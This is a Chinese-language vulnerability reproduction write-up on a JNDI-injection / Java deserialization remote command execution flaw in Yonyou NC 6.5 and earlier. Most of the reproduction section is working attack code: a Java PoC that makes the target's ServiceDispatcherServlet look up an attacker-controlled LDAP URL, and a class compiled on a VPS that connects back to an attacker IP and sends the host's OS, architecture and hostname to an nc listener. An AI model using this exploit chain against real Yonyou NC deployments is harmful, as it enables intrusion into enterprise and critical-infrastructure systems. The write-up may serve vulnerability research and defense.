用友NC<=6.5 JNDI注入
2020-07-31 # 漏洞复现

简介

用友NC产品是面向集团企业的世界级高端管理软件,市场占有率在同类产品中已经达到亚太第一,已在8000家集团企业中应用,国内用户涵盖大多数关键基础设施运营单位。

由全球能源互联网研究院有限公司运营的国家电网公司信息与网络安全重点实验室的安全团队在日常渗透测试中,发现用友NC最新的6.5版本中存在JAVA反序列化远程命令执行“0-Day”漏洞,利用该漏洞可完全获取主机控制权限,造成OA平台内的敏感数据泄露,并为进一步向关键基础设施运营企业的生产网络渗透提供重要跳板。

复现

新版本的用友NC通过UClient客户端登录

流量分析可见交互的是类似序列化的数据

查看日志证实是Java序列化

根据已有资料,反序列化漏洞位于nc.bs.framework.common.NCLocator

NCLocator有多个实现类,实际使用了RmiNCLocator

构造PoC

import nc.bs.framework.common.NCLocator;
import java.util.Properties;

public class poc {

    public static void main(String[] args) {
        Properties properties = new Properties();
        String url = "http://xxx/ServiceDispatcherServlet";
        properties.setProperty("SERVICEDISPATCH_URL", url);
        NCLocator.getInstance(properties).lookup("ldap://ip:port/hunya");
    }
}

VPS上编译部署(这里的java版本需与服务器所使用的java版本一致,服务器java版本可从请求记录的UA中看出)

import java.io.OutputStream;
import java.lang.System;
import java.net.Socket;
import java.net.InetAddress;

public class hunya {
    public static void main(String[] args) throws Exception {

        Socket socket = new Socket(IP, PORT);
        OutputStream ostream = socket.getOutputStream();
        InputStream istream = socket.getInputStream();

        ostream.write((System.getProperty("os.name") + "/" + System.getProperty("os.arch") + "\n").getBytes("UTF-8"));
        ostream.write((InetAddress.getLocalHost().getHostName().toString() + "\n").getBytes("UTF-8"));
        ostream.flush();

        istream.close();
        ostream.close();
        socket.close();
    }
}

运行PoC,nc监听收到回连信息

参考

https://www.oyonyou.com/thread-338185-1-1.html